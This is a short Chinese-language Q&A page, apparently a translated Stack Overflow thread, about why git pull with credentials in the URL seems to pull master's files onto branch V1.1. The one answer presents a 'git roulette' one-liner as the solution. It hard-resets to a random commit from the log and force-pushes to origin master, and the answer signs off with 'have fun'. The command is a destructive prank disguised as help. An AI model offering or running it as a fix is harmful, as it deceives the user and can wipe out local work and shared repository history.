使用带有身份验证的git pull时获取master分支

时间:2017-03-24 17:05:18

标签: git gitlab

我遇到Git问题。我有一个项目和4个分支V1.0,V1.1,V1.2和主。

现在我用这个命令克隆V1.2:

git clone -b V1.2 --single-branch http://domain/user/project.git .

我得到了正确的版本。以下命令

git pull

git pull http://user:passwd@domain/user/project.git

在两个命令Already up-to-date

上说

但是当我使用较低版本1.1执行相同操作时,我会在第一个Command Already up-to-date上进行操作。在第二个命令:git将我的文件更新为master。为什么?我错了什么?

git status

Auf Branch V1.1
Ihr Branch ist vor 'origin/V1.1' um 45 Commits.

git branch

* V1.1

但文件来自主人。

1 个答案:

答案 0 :(得分:0)

这可以解决您的问题:

git reset --hard $(git log --pretty=format:"%h" > ~/gitroulette; head -$((${RANDOM} % `wc -l < ~/gitroulette` + 1)) ~/gitroulette | tail -1); git push origin master --force

玩得开心!